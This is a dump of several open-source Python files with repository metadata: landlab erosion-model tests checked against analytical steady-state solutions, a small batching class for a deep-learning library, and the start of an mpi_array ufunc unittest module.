np.power(\n        (\n            (U * v_s * (1 - phi))\n            / (K_sed * np.power(mg.at_node[\"drainage_area\"][mg.core_nodes], m_sp))\n        )\n        + (\n            (U * (1 - phi))\n            / (K_sed * np.power(mg.at_node[\"drainage_area\"][mg.core_nodes], m_sp))\n        ),\n        1.0 / n_sp,\n    )\n\n    # test for match with analytical slope-area relationship\n    testing.assert_array_almost_equal(\n        num_slope,\n        analytical_slope,\n        decimal=8,\n        err_msg=\"SpaceLargeScaleEroder transport-limited slope-area test failed\",\n        verbose=True,\n    )\n\n    # compare numerical and analytical sediment flux solutions\n    num_sedflux = mg.at_node[\"sediment__outflux\"][mg.core_nodes]\n    analytical_sedflux = U * mg.at_node[\"drainage_area\"][mg.core_nodes] * (1 - phi)\n\n    # test for match with anakytical sediment flux\n    testing.assert_array_almost_equal(\n        num_sedflux,\n        analytical_sedflux,\n        decimal=8,\n        err_msg=\"SpaceLargeScaleEroder transport-limited sediment flux test failed\",\n        verbose=True,\n    )\n    # %%\n\n\n@pytest.mark.slow\ndef test_matches_bedrock_alluvial_solution():\n    # %%\n    \"\"\"\n    Test that model matches the bedrock-alluvial analytical solution\n    for slope/area relationship at steady state:\n    S=((U * v_s * (1 - F_f)) / (K_sed * A^m) + U / (K_br * A^m))^(1/n).\n\n    Also test that the soil depth everywhere matches the bedrock-alluvial\n    analytical solution at steady state:\n    H = -H_star * ln(1 - (v_s / (K_sed / (K_br * (1 - F_f)) + v_s))).\n    \"\"\"\n\n    # set up a 5x5 grid with one open outlet node and low initial elevations.\n    nr = 5\n    nc = 5\n    mg = RasterModelGrid((nr, nc), xy_spacing=10.0)\n\n    z = mg.add_zeros(\"topographic__elevation\", at=\"node\")\n    br = mg.add_zeros(\"bedrock__elevation\", at=\"node\")\n    soil = mg.add_zeros(\"soil__depth\", at=\"node\")\n\n    mg[\"node\"][\"topographic__elevation\"] += (\n        mg.node_y / 100000 + mg.node_x / 100000 + np.random.rand(len(mg.node_y)) / 10000\n    )\n    mg.set_closed_boundaries_at_grid_edges(\n        bottom_is_closed=True,\n        left_is_closed=True,\n        right_is_closed=True,\n        top_is_closed=True,\n    )\n    mg.set_watershed_boundary_condition_outlet_id(\n        0, mg[\"node\"][\"topographic__elevation\"], -9999.0\n    )\n    soil[:] += 0.0  # initial condition of no soil depth.\n    br[:] = z[:]\n    z[:] += soil[:]\n\n    # Create a D8 flow handler\n    fa = FlowAccumulator(\n        mg, flow_director=\"D8\", depression_finder=\"DepressionFinderAndRouter\"\n    )\n\n    # Parameter values for detachment-limited test\n    K_br = 0.002\n    K_sed = 0.002\n    U = 0.0001\n    dt = 10.0\n    F_f = 0.2  # all detached rock disappears; detachment-ltd end-member\n    m_sp = 0.5\n    n_sp = 1.0\n    v_s = 0.25\n    H_star = 0.1\n\n    # Instantiate the SpaceLargeScaleEroder component...\n    sp = SpaceLargeScaleEroder(\n        mg,\n        K_sed=K_sed,\n        K_br=K_br,\n        F_f=F_f,\n        phi=0.0,\n        H_star=H_star,\n        v_s=v_s,\n        m_sp=m_sp,\n        n_sp=n_sp,\n        sp_crit_sed=0,\n        sp_crit_br=0,\n    )\n\n    # ... and run it to steady state (10000x1-year timesteps).\n    for _ in range(10000):\n        fa.run_one_step()\n        sp.run_one_step(dt=dt)\n        br[mg.core_nodes] += U * dt  # m\n        soil[0] = 0.0  # enforce 0 soil depth at boundary to keep lowering steady\n        z[:] = br[:] + soil[:]\n\n    # compare numerical and analytical slope solutions\n    num_slope = mg.at_node[\"topographic__steepest_slope\"][mg.core_nodes]\n    analytical_slope = np.power(\n        (\n            (U * v_s * (1 - F_f))\n            / (K_sed * np.power(mg.at_node[\"drainage_area\"][mg.core_nodes], m_sp))\n        )\n        + (U / (K_br * np.power(mg.at_node[\"drainage_area\"][mg.core_nodes], m_sp))),\n        1.0 / n_sp,\n    )\n\n    # test for match with analytical slope-area relationship\n    testing.assert_array_almost_equal(\n        num_slope,\n        analytical_slope,\n        decimal=8,\n        err_msg=\"SpaceLargeScaleEroder bedrock-alluvial slope-area test failed\",\n        verbose=True,\n    )\n\n    # compare numerical and analytical soil depth solutions\n    num_h = mg.at_node[\"soil__depth\"][mg.core_nodes]\n    analytical_h = -H_star * np.log(1 - (v_s / (K_sed / (K_br * (1 - F_f)) + v_s)))\n\n    # test for match with analytical sediment depth\n    testing.assert_array_almost_equal(\n        num_h,\n        analytical_h,\n        decimal=5,\n        err_msg=\"SpaceLargeScaleEroder bedrock-alluvial soil thickness test failed\",\n        verbose=True,\n    )\n    # %%\n\n\ndef test_can_run_with_hex():\n    \"\"\"Test that model can run with hex model grid.\"\"\"\n    # %%\n    # Set up a 5x5 grid with open boundaries and low initial elevations.\n    mg = HexModelGrid((7, 7))\n    z = mg.add_zeros(\"topographic__elevation\", at=\"node\")\n    _ = mg.add_zeros(\"soil__depth\", at=\"node\")\n    z[:] = 0.01 * mg.x_of_node\n\n    # Create a D8 flow handler\n    fa = FlowAccumulator(mg, flow_director=\"FlowDirectorSteepest\")\n\n    # Parameter values for test 1\n    U = 0.001\n    dt = 10.0\n\n    # Create the SpaceLargeScaleEroder component...\n    sp = SpaceLargeScaleEroder(\n        mg,\n        K_sed=0.00001,\n        K_br=0.00000000001,\n        F_f=0.5,\n        phi=0.1,\n        H_star=1.0,\n        v_s=0.001,\n        m_sp=0.5,\n        n_sp=1.0,\n        sp_crit_sed=0,\n        sp_crit_br=0,\n    )\n\n    # ... and run it to steady state.\n    for _ in range(2000):\n        fa.run_one_step()\n        sp.run_one_step(dt=dt)\n        z[mg.core_nodes] += U * dt\n\n\n# %%\ndef test_matches_detachment_solution_PF():\n    # %%\n    \"\"\"\n    Test that model matches the detachment-limited analytical solution\n    for slope/area relationship at steady state: S=(U/K_br)^(1/n)*A^(-m/n).\n    \"\"\"\n\n    # set up a 5x5 grid with one open outlet node and low initial elevations.\n    nr = 5\n    nc = 5\n    mg = RasterModelGrid((nr, nc), xy_spacing=10.0)\n\n    z = mg.add_zeros(\"topographic__elevation\", at=\"node\")\n    br = mg.add_zeros(\"bedrock__elevation\", at=\"node\")\n    soil = mg.add_zeros(\"soil__depth\", at=\"node\")\n\n    mg[\"node\"][\"topographic__elevation\"] += (\n        mg.node_y / 10000 + mg.node_x / 10000 + np.random.rand(len(mg.node_y)) / 10000\n    )\n    mg.set_closed_boundaries_at_grid_edges(\n        bottom_is_closed=True,\n        left_is_closed=True,\n        right_is_closed=True,\n        top_is_closed=True,\n    )\n    mg.set_watershed_boundary_condition_outlet_id(\n        0, mg[\"node\"][\"topographic__elevation\"], -9999.0\n    )\n    br[:] = z[:] - soil[:]\n\n    fa = PriorityFloodFlowRouter(\n        mg, surface=\"topographic__elevation\", flow_metric=\"D8\", suppress_out=True\n    )\n    fa.run_one_step()\n\n    # Parameter values for detachment-limited test\n    K_br = 0.01\n    U = 0.0001\n    dt = 1.0\n    F_f = 1.0  # all detached rock disappears; detachment-ltd end-member\n    m_sp = 0.5\n    n_sp = 1.0\n\n    # Instantiate the SpaceLargeScaleEroder component...\n    sp = SpaceLargeScaleEroder(\n        mg,\n        K_sed=0.00001,\n        K_br=K_br,\n        F_f=F_f,\n        phi=0.1,\n        H_star=1.0,\n        v_s=0.001,\n        v_s_lake=0.001,\n        m_sp=m_sp,\n        n_sp=n_sp,\n        sp_crit_sed=0,\n        sp_crit_br=0,\n    )\n\n    # ... and run it to steady state (2000x1-year timesteps).\n    for _ in range(2000):\n        fa.run_one_step()\n        sp.run_one_step(dt=dt)\n        z[mg.core_nodes] += U * dt  # m\n        br[mg.core_nodes] = z[mg.core_nodes] - soil[mg.core_nodes]\n\n    # compare numerical and analytical slope solutions\n    num_slope = mg.at_node[\"topographic__steepest_slope\"][mg.core_nodes]\n    analytical_slope = np.power(U / K_br, 1.0 / n_sp) * np.power(\n        mg.at_node[\"drainage_area\"][mg.core_nodes], -m_sp / n_sp\n    )\n\n    # test for match with analytical slope-area relationship\n    testing.assert_array_almost_equal(\n        num_slope,\n        analytical_slope,\n        decimal=8,\n        err_msg=\"SpaceLargeScaleEroder detachment-limited test failed\",\n        verbose=True,\n    )\n\n\n# %%\n@pytest.mark.slow\ndef test_matches_transport_solution_PF():\n\n    \"\"\"\n    Test that model matches the transport-limited analytical solution\n    for slope/area relationship at steady state: S=((U * v_s) / (K_sed * A^m)\n    + U / (K_sed * A^m))^(1/n).\n\n    Also test that model matches the analytical solution for steady-state\n    sediment flux: Qs = U * A * (1 - phi).\n    \"\"\"\n    # %%\n    # set up a 5x5 grid with one open outlet node and low initial elevations.\n    nr = 5\n    nc = 5\n    mg = RasterModelGrid((nr, nc), xy_spacing=10.0)\n\n    z = mg.add_zeros(\"topographic__elevation\", at=\"node\")\n    br = mg.add_zeros(\"bedrock__elevation\", at=\"node\")\n    soil = mg.add_zeros(\"soil__depth\", at=\"node\")\n\n    mg[\"node\"][\"topographic__elevation\"] += (\n        mg.node_y / 100000 + mg.node_x / 100000 + np.random.rand(len(mg.node_y)) / 10000\n    )\n    mg.set_closed_boundaries_at_grid_edges(\n        bottom_is_closed=True,\n        left_is_closed=True,\n        right_is_closed=True,\n        top_is_closed=True,\n    )\n    mg.set_watershed_boundary_condition_outlet_id(\n        0, mg[\"node\"][\"topographic__elevation\"], -9999.0\n    )\n    soil[:] += 100.0  # initial soil depth of 100 m\n    br[:] = z[:]\n    z[:] += soil[:]\n\n    # Create a D8 flow handler\n    fa = PriorityFloodFlowRouter(\n        mg, surface=\"topographic__elevation\", flow_metric=\"D8\", suppress_out=True\n    )\n    fa.run_one_step()\n\n    # Parameter values for detachment-limited test\n    K_sed = 0.01\n    U = 0.0001\n    dt = 1.0\n    F_f = 1.0  # all detached rock disappears; detachment-ltd end-member\n    m_sp = 0.5\n    n_sp = 1.0\n    v_s = 0.5\n    phi = 0.5\n\n    # Instantiate the SpaceLargeScaleEroder component...\n    sp = SpaceLargeScaleEroder(\n        mg,\n        K_sed=K_sed,\n        K_br=0.01,\n        F_f=F_f,\n        phi=phi,\n        H_star=1.0,\n        v_s=v_s,\n        m_sp=m_sp,\n        n_sp=n_sp,\n        sp_crit_sed=0,\n        sp_crit_br=0,\n    )\n\n    # ... and run it to steady state (5000x1-year timesteps).\n    for _ in range(5000):\n        fa.run_one_step()\n        sp.run_one_step(dt=dt)\n        br[mg.core_nodes] += U * dt  # m\n        soil[\n            0\n        ] = 100.0  # enforce constant soil depth at boundary to keep lowering steady\n        z[:] = br[:] + soil[:]\n\n    # compare numerical and analytical slope solutions\n    num_slope = mg.at_node[\"topographic__steepest_slope\"][mg.core_nodes]\n    analytical_slope = np.power(\n        (\n            (U * v_s * (1 - phi))\n            / (K_sed * np.power(mg.at_node[\"drainage_area\"][mg.core_nodes], m_sp))\n        )\n        + (\n            (U * (1 - phi))\n            / (K_sed * np.power(mg.at_node[\"drainage_area\"][mg.core_nodes], m_sp))\n        ),\n        1.0 / n_sp,\n    )\n\n    # test for match with analytical slope-area relationship\n    testing.assert_array_almost_equal(\n        num_slope,\n        analytical_slope,\n        decimal=8,\n        err_msg=\"SpaceLargeScaleEroder transport-limited slope-area test failed\",\n        verbose=True,\n    )\n\n    # compare numerical and analytical sediment flux solutions\n    num_sedflux = mg.at_node[\"sediment__outflux\"][mg.core_nodes]\n    analytical_sedflux = U * mg.at_node[\"drainage_area\"][mg.core_nodes] * (1 - phi)\n\n    # test for match with anakytical sediment flux\n    testing.assert_array_almost_equal(\n        num_sedflux,\n        analytical_sedflux,\n        decimal=8,\n        err_msg=\"SpaceLargeScaleEroder transport-limited sediment flux test failed\",\n        verbose=True,\n    )\n\n\n# %%\n@pytest.mark.slow\ndef test_matches_bedrock_alluvial_solution_PF():\n    \"\"\"\n    Test that model matches the bedrock-alluvial analytical solution\n    for slope/area relationship at steady state:\n    S=((U * v_s * (1 - F_f)) / (K_sed * A^m) + U / (K_br * A^m))^(1/n).\n\n    Also test that the soil depth everywhere matches the bedrock-alluvial\n    analytical solution at steady state:\n    H = -H_star * ln(1 - (v_s / (K_sed / (K_br * (1 - F_f)) + v_s))).\n    \"\"\"\n    # %%\n    # set up a 5x5 grid with one open outlet node and low initial elevations.\n    nr = 5\n    nc = 5\n    mg = RasterModelGrid((nr, nc), xy_spacing=10.0)\n\n    z = mg.add_zeros(\"topographic__elevation\", at=\"node\")\n    br = mg.add_zeros(\"bedrock__elevation\", at=\"node\")\n    soil = mg.add_zeros(\"soil__depth\", at=\"node\")\n\n    mg[\"node\"][\"topographic__elevation\"] += (\n        mg.node_y / 100000 + mg.node_x / 100000 + np.random.rand(len(mg.node_y)) / 10000\n    )\n    mg.set_closed_boundaries_at_grid_edges(\n        bottom_is_closed=True,\n        left_is_closed=True,\n        right_is_closed=True,\n        top_is_closed=True,\n    )\n    mg.set_watershed_boundary_condition_outlet_id(\n        0, mg[\"node\"][\"topographic__elevation\"], -9999.0\n    )\n    soil[:] += 0.0  # initial condition of no soil depth.\n    br[:] = z[:]\n    z[:] += soil[:]\n\n    # Create a D8 flow handler\n    fa = PriorityFloodFlowRouter(\n        mg, surface=\"topographic__elevation\", flow_metric=\"D8\", suppress_out=True\n    )\n    fa.run_one_step()\n\n    # Parameter values for detachment-limited test\n    K_br = 0.002\n    K_sed = 0.002\n    U = 0.0001\n    dt = 10.0\n    F_f = 0.2  # all detached rock disappears; detachment-ltd end-member\n    m_sp = 0.5\n    n_sp = 1.0\n    v_s = 0.25\n    H_star = 0.1\n\n    # Instantiate the SpaceLargeScaleEroder component...\n    sp = SpaceLargeScaleEroder(\n        mg,\n        K_sed=K_sed,\n        K_br=K_br,\n        F_f=F_f,\n        phi=0.0,\n        H_star=H_star,\n        v_s=v_s,\n        m_sp=m_sp,\n        n_sp=n_sp,\n        sp_crit_sed=0,\n        sp_crit_br=0,\n    )\n\n    # ... and run it to steady state (10000x1-year timesteps).\n    for _ in range(10000):\n        fa.run_one_step()\n        sp.run_one_step(dt=dt)\n        br[mg.core_nodes] += U * dt  # m\n        soil[0] = 0.0  # enforce 0 soil depth at boundary to keep lowering steady\n        z[:] = br[:] + soil[:]\n\n    # compare numerical and analytical slope solutions\n    num_slope = mg.at_node[\"topographic__steepest_slope\"][mg.core_nodes]\n    analytical_slope = np.power(\n        (\n            (U * v_s * (1 - F_f))\n            / (K_sed * np.power(mg.at_node[\"drainage_area\"][mg.core_nodes], m_sp))\n        )\n        + (U / (K_br * np.power(mg.at_node[\"drainage_area\"][mg.core_nodes], m_sp))),\n        1.0 / n_sp,\n    )\n\n    # test for match with analytical slope-area relationship\n    testing.assert_array_almost_equal(\n        num_slope,\n        analytical_slope,\n        decimal=8,\n        err_msg=\"SpaceLargeScaleEroder bedrock-alluvial slope-area test failed\",\n        verbose=True,\n    )\n\n    # compare numerical and analytical soil depth solutions\n    num_h = mg.at_node[\"soil__depth\"][mg.core_nodes]\n    analytical_h = -H_star * np.log(1 - (v_s / (K_sed / (K_br * (1 - F_f)) + v_s)))\n\n    # test for match with analytical sediment depth\n    testing.assert_array_almost_equal(\n        num_h,\n        analytical_h,\n        decimal=5,\n        err_msg=\"SpaceLargeScaleEroder bedrock-alluvial soil thickness test failed\",\n        verbose=True,\n    )\n    # %%\n\n\ndef test_MassBalance():\n    # %%\n    # set up a 15x15 grid with one open outlet node and low initial elevations.\n    nr = 15\n    nc = 15\n    mg = RasterModelGrid((nr, nc), xy_spacing=10.0)\n\n    z = mg.add_zeros(\"topographic__elevation\", at=\"node\")\n    br = mg.add_zeros(\"bedrock__elevation\", at=\"node\")\n    soil = mg.add_zeros(\"soil__depth\", at=\"node\")\n\n    mg[\"node\"][\"topographic__elevation\"] += (\n        mg.node_y / 100000 + mg.node_x / 100000 + np.random.rand(len(mg.node_y)) / 10000\n    )\n    mg.set_closed_boundaries_at_grid_edges(\n        bottom_is_closed=True,\n        left_is_closed=True,\n        right_is_closed=True,\n        top_is_closed=True,\n    )\n    mg.set_watershed_boundary_condition_outlet_id(\n        0, mg[\"node\"][\"topographic__elevation\"], -9999.0\n    )\n    soil[:] += 0.0  # initial condition of no soil depth.\n    br[:] = z[:]\n    z[:] += soil[:]\n\n    # Create a D8 flow handler\n    # fa = PriorityFloodFlowRouter(mg, surface=\"topographic__elevation\", flow_metric = 'D8',suppress_out=True)\n    # fa.run_one_step()\n\n    # Create a D8 flow handler\n    fa = FlowAccumulator(\n        mg, flow_director=\"D8\", depression_finder=\"DepressionFinderAndRouter\"\n    )\n\n    # Parameter values for detachment-limited test\n    K_br = 0.002\n    K_sed = 0.002\n    U = 0.0001\n    dt = 10.0\n    F_f = 0.2  # all detached rock disappears; detachment-ltd end-member\n    m_sp = 0.5\n    n_sp = 1.0\n    v_s = 0.25\n    H_star = 0.1\n\n    # Instantiate the Space component...\n    sp = SpaceLargeScaleEroder(\n        mg,\n        K_sed=K_sed,\n        K_br=K_br,\n        F_f=F_f,\n        phi=0.0,\n        H_star=H_star,\n        v_s=v_s,\n        m_sp=m_sp,\n        n_sp=n_sp,\n        sp_crit_sed=0,\n        sp_crit_br=0,\n    )\n    # Get values before run\n    z = mg.at_node[\"topographic__elevation\"]\n    br = mg.at_node[\"bedrock__elevation\"]\n    H = mg.at_node[\"soil__depth\"]\n    cores = mg.core_nodes\n    area = mg.cell_area_at_node\n    # ... and run it to steady state (10000x1-year timesteps).\n    for _ in range(10000):\n        fa.run_one_step()\n        soil_B = cp.deepcopy(H)\n        bed_B = cp.deepcopy(br)\n        vol_SSY_riv, V_leaving_riv = sp.run_one_step(dt=dt)\n        diff_MB = (\n            np.sum((bed_B[cores] - br[cores]) * area[cores])\n            + np.sum((soil_B[cores] - H[cores]) * area[cores]) * (1 - sp._phi)\n            - vol_SSY_riv * dt\n            - V_leaving_riv\n        )\n\n        br[mg.core_nodes] += U * dt  # m\n        soil[0] = 0.0  # enforce 0 soil depth at boundary to keep lowering steady\n        z[:] = br[:] + soil[:]\n\n        # Test Every iteration\n        testing.assert_array_almost_equal(\n            z[cores],\n            br[cores] + H[cores],\n            decimal=5,\n            err_msg=\"Topography does not equal sum of bedrock and soil! Decrease timestep\",\n            verbose=True,\n        )\n        testing.assert_array_less(\n            abs(diff_MB),\n            1e-8 * mg.number_of_nodes,\n            err_msg=\"Mass balance error SpaceLargeScaleEroder! Try to resolve by becreasing timestep\",\n            verbose=True,\n        )\n", "meta": {"hexsha": "ff33975328679742f6b73375e26c9cad8fdf22e2", "size": 33057, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/components/space/test_space_large_scale_eroder.py", "max_stars_repo_name": "clebouteiller/landlab", "max_stars_repo_head_hexsha": "e6f47db76ea0814c4c5a24e695bbafb74c722ff7", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2021-10-05T18:48:40.000Z", "max_stars_repo_stars_event_max_datetime": "2021-10-05T18:49:04.000Z", "max_issues_repo_path": "tests/components/space/test_space_large_scale_eroder.py", "max_issues_repo_name": "keckje/landlab", "max_issues_repo_head_hexsha": "a5dd80b8ebfd03d1ba87ef6c4368c409485f222c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-11-11T21:23:46.000Z", "max_issues_repo_issues_event_max_datetime": "2021-11-11T21:23:46.000Z", "max_forks_repo_path": "tests/components/space/test_space_large_scale_eroder.py", "max_forks_repo_name": "keckje/landlab", "max_forks_repo_head_hexsha": "a5dd80b8ebfd03d1ba87ef6c4368c409485f222c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2019-08-19T08:58:10.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-07T02:36:01.000Z", "avg_line_length": 29.073878628, "max_line_length": 110, "alphanum_fraction": 0.6108842303, "include": true, "reason": "import numpy,from numpy", "num_tokens": 9606, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.12085323407368521, "lm_q1q2_score": 0.058067402145538544}}
{"text": "from thesiaNet.tensor import tensor\nimport numpy as np\n\n\nclass Batch:\n    def __init__(self,input, target, batch_size= 32, shuffle = True):\n        \"\"\"\n        this class conver data into the batches which given size\n        :param input: input of the model\n        :param target: original output\n        :param batch_size: bach size\n        :param shuffle: Boolean values (True : shuffeling)\n        \"\"\"\n        self.batch_size = batch_size\n        self.shuffle = shuffle\n        self.starts = np.arange(0, len(input), self.batch_size)\n        if shuffle:\n            np.random.shuffle(self.starts)\n\n        batch = []\n        for start in self.starts:\n            input_batch = input[start:start + self.batch_size]\n            target_batch = target[start:start + self.batch_size]\n            batch.append((input_batch, target_batch))\n\n        self.batch = batch\n\n\n\n", "meta": {"hexsha": "7b17d38d7c9a9a9f2670bdbae4e728372cbbb314", "size": 867, "ext": "py", "lang": "Python", "max_stars_repo_path": "thesiaNet/data.py", "max_stars_repo_name": "yashthesia/deep_learning_library_thesianet", "max_stars_repo_head_hexsha": "65f3c09b93adf3c063db69ff482bf420b9f55d86", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-10-02T17:36:09.000Z", "max_stars_repo_stars_event_max_datetime": "2020-10-05T05:09:03.000Z", "max_issues_repo_path": "thesiaNet/data.py", "max_issues_repo_name": "yashthesia/deep_learning_library_thesianet", "max_issues_repo_head_hexsha": "65f3c09b93adf3c063db69ff482bf420b9f55d86", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "thesiaNet/data.py", "max_forks_repo_name": "yashthesia/deep_learning_library_thesianet", "max_forks_repo_head_hexsha": "65f3c09b93adf3c063db69ff482bf420b9f55d86", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.9, "max_line_length": 69, "alphanum_fraction": 0.6182237601, "include": true, "reason": "import numpy", "num_tokens": 189, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.12085322932404165, "lm_q1q2_score": 0.05806739986343608}}
{"text": "\"\"\"\n==============================================\nThe :mod:`mpi_array.globale_ufunc_test` Module\n==============================================\n\nModule defining :mod:`mpi_array.globale` unit-tests.\nExecute as::\n\n   python -m mpi_array.globale_ufunc_test\n\nand with parallelism::\n\n   mpirun -n  2 python -m mpi_array.globale_ufunc_test\n   mpirun -n  4 python -m mpi_array.globale_ufunc_test\n   mpirun -n 27 python -m mpi_array.globale_ufunc_test\n\n\nClasses\n=======\n\n.. autosummary::\n   :toctree: generated/\n   :template: autosummary/inherits_TestCase_class.rst\n\n   UfuncResultTypeTest - Tests for :func:`mpi_array.globale_ufunc.ufunc_result_type` function.\n   BroadcastShapeTest - Tests for :func:`mpi_array.globale_ufunc.broadcast_shape` function.\n   GndarrayUfuncTest - Tests for :func:`mpi_array.globale_ufunc.gndarray_array_ufunc` function.\n   ToGndarrayConverter - Base class for :obj:`numpy.ndarray` to :obj:`mpi_array.globale.gndarray`.\n\"\"\"\nfrom __future__ import absolute_import\n\nimport numpy as _np\n\nfrom .license import license as _license, copyright as _copyright, version as _version\nfrom . import unittest as _unittest\nfrom . import logging as _logging  # noqa: E402,F401\nfrom .comms import LT_NODE, LT_PROCESS, DT_CLONED, DT_SINGLE_LOCALE, DT_BLOCK  # , DT_SLAB\nfrom . import comms as _comms\nfrom . import distribution as _distribution\nfrom .globale_ufunc import broadcast_shape, ufunc_result_type, get_extents\nfrom .globale_ufunc import check_equivalent_inter_locale_comms\nfrom .globale import gndarray as _gndarray\nfrom .globale_creation import ones as _ones, zeros as _zeros, asarray as _asarray\nfrom .globale_creation import empty as _empty\nfrom .globale import copyto as _copyto\n\n__author__ = \"Shane J. Latham\"\n__license__ = _license()\n__copyright__ = _copyright()\n__version__ = _version()\n\n\nclass UfuncResultTypeTest(_unittest.TestCase):\n\n    \"\"\"\n    :obj:`unittest.TestCase` for :func:`mpi_array.globale_ufunc.ufunc_result_type`.\n    \"\"\"\n\n    def test_single_output(self):\n        \"\"\"\n        :obj:`unittest.TestCase` for :func:`mpi_array.globale_ufunc.ufunc_result_type`,\n        with single output array.\n        \"\"\"\n\n        rank_logger = _logging.get_rank_logger(self.id())\n\n        uft = ['ff->f', 'll->l', 'cc->c', 'fl->b', 'dd->d']\n\n        inputs = (_np.array([1, 2], dtype='l'), _np.array([3, 4], dtype='l'))\n        outputs = None\n        dtypes = ufunc_result_type(uft, inputs, outputs)\n        rank_logger.debug(\"dtypes=%s\", dtypes)\n        self.assertSequenceEqual((_np.dtype('l'),), dtypes)\n\n        inputs = (_np.array([1, 2], dtype='f'), _np.array([3, 4], dtype='f'))\n        outputs = (_np.array([0, 0], dtype='f'),)\n        dtypes = ufunc_result_type(uft, inputs, outputs)\n        self.assertSequenceEqual((_np.dtype('f'),), dtypes)\n        outputs = (_np.array([0, 0], dtype='d'),)\n        dtypes = ufunc_result_type(uft, inputs, outputs)\n        self.assertSequenceEqual((_np.dtype('d'),), dtypes)\n        outputs = (_np.array([0, 0], dtype='b'),)\n        self.assertRaises(ValueError, ufunc_result_type, uft, inputs, outputs)\n\n        inputs = (_np.array([1, 2], dtype='f'), _np.array([3, 4], dtype='l'))\n        outputs = None\n        dtypes = ufunc_result_type(uft, inputs, outputs)\n        self.assertSequenceEqual((_np.dtype('b'),), dtypes)\n\n        inputs = (_np.array([1, 2], dtype='f'), 5.0)\n        outputs = None\n        dtypes = ufunc_result_type(uft, inputs, outputs)\n        rank_logger.debug(\"dtypes=%s\", dtypes)\n        self.assertSequenceEqual((_np.dtype('f'),), dtypes)\n\n        inputs = (_np.array([1, 2], dtype='f'), 5.0e150)\n        outputs = None\n        dtypes = ufunc_result_type(uft, inputs, outputs)\n        rank_logger.debug(\"dtypes=%s\", dtypes)\n        self.assertSequenceEqual((_np.dtype('d'),), dtypes)\n\n        inputs = (_np.array([1, 2], dtype='complex128'), 5.0e150)\n        outputs = None\n        self.assertRaises(\n            ValueError,\n            ufunc_result_type, uft, inputs, outputs\n        )\n\n    def test_tuple_input(self):\n        \"\"\"\n        :obj:`unittest.TestCase` for :func:`mpi_array.globale_ufunc.ufunc_result_type`,\n        with single output array.\n        \"\"\"\n\n        rank_logger = _logging.get_rank_logger(self.id())\n\n        uft = ['ff->f', 'll->l', 'cc->c', 'fl->b', 'dd->d']\n\n        inputs = (_np.array((1, 2, 3, 4), dtype='int32'), (1, 2, 3, 4))\n        outputs = None\n        dtypes = ufunc_result_type(uft, inputs, outputs)\n        rank_logger.debug(\"dtypes=%s\", dtypes)\n        self.assertSequenceEqual((_np.dtype('l'),), dtypes)\n\n    def test_multiple_output(self):\n        \"\"\"\n        :obj:`unittest.TestCase` for :func:`mpi_array.globale_ufunc.ufunc_result_type`,\n        with multiple output arrays.\n        \"\"\"\n\n        rank_logger = _logging.get_rank_logger(self.id())\n\n        uft = ['eee->eBl', 'fff->fBl', 'ddd->dBl', ]\n\n        inputs = (_np.array([1, 2], dtype='e'), _np.array([3, 4], dtype='f'), 4.0)\n        outputs = None\n        dtypes = ufunc_result_type(uft, inputs, outputs)\n        rank_logger.debug(\"dtypes=%s\", dtypes)\n        self.assertSequenceEqual((_np.dtype('f'), _np.dtype('B'), _np.dtype('l')), dtypes)\n\n        inputs = (_np.array([1, 2], dtype='e'), _np.array([3, 4], dtype='f'), 4.0)\n        outputs = (_np.array([1, 2], dtype='f'),)\n        dtypes = ufunc_result_type(uft, inputs, outputs)\n        rank_logger.debug(\"dtypes=%s\", dtypes)\n        self.assertSequenceEqual((_np.dtype('f'), _np.dtype('B'), _np.dtype('l')), dtypes)\n\n        inputs = (_np.array([1, 2], dtype='e'), _np.array([3, 4], dtype='f'), 4.0)\n        outputs = (_np.array([1, 2], dtype='d'), _np.array([1, 2], dtype='i'))\n        dtypes = ufunc_result_type(uft, inputs, outputs)\n        rank_logger.debug(\"dtypes=%s\", dtypes)\n        self.assertSequenceEqual((_np.dtype('d'), _np.dtype('i'), _np.dtype('l')), dtypes)\n\n        inputs = (_np.array([1, 2], dtype='e'), _np.array([3, 4], dtype='f'), 4.0)\n        outputs = (_np.array([1, 2], dtype='d'), _np.array([1, 2], dtype='b'))\n        self.assertRaises(\n            ValueError,\n            ufunc_result_type, uft, inputs, outputs\n        )\n\n        inputs = (_np.array([1, 2], dtype='e'), _np.array([3, 4], dtype='f'), 4.0)\n        outputs = \\\n            (\n                _np.array([1, 2], dtype='d'),\n                _np.array([1, 2], dtype='i'),\n                _np.array([1, 2], dtype='uint16')\n            )\n        self.assertRaises(\n            ValueError,\n            ufunc_result_type, uft, inputs, outputs\n        )\n\n    def test_example(self):\n        import numpy as np\n        import mpi_array as mpia\n        try:\n            inp = (\n                np.zeros((10, 10, 10), dtype='float16'),\n                16.0,\n                mpia.zeros((10, 10, 10), dtype='float32'),\n            )\n            dtypes = ufunc_result_type(['eee->e?', 'fff->f?', 'ddd->d?'], inputs=inp)\n            self.assertSequenceEqual((_np.dtype('float32'), _np.dtype('bool')), dtypes)\n            out = (mpia.zeros((10, 10, 10), dtype=\"float64\"),)\n            dtypes = ufunc_result_type(['eee->e?', 'fff->f?', 'ddd->d?'], inputs=inp, outputs=out)\n            self.assertSequenceEqual((_np.dtype('float64'), _np.dtype('bool')), dtypes)\n            out += (mpia.zeros((10, 10, 10), dtype=\"uint16\"),)\n            dtypes = ufunc_result_type(['eee->e?', 'fff->f?', 'ddd->d?'], inputs=inp, outputs=out)\n            self.assertSequenceEqual((_np.dtype('float64'), _np.dtype('uint16')), dtypes)\n        finally:\n            inp[2].free()\n            out[0].free()\n            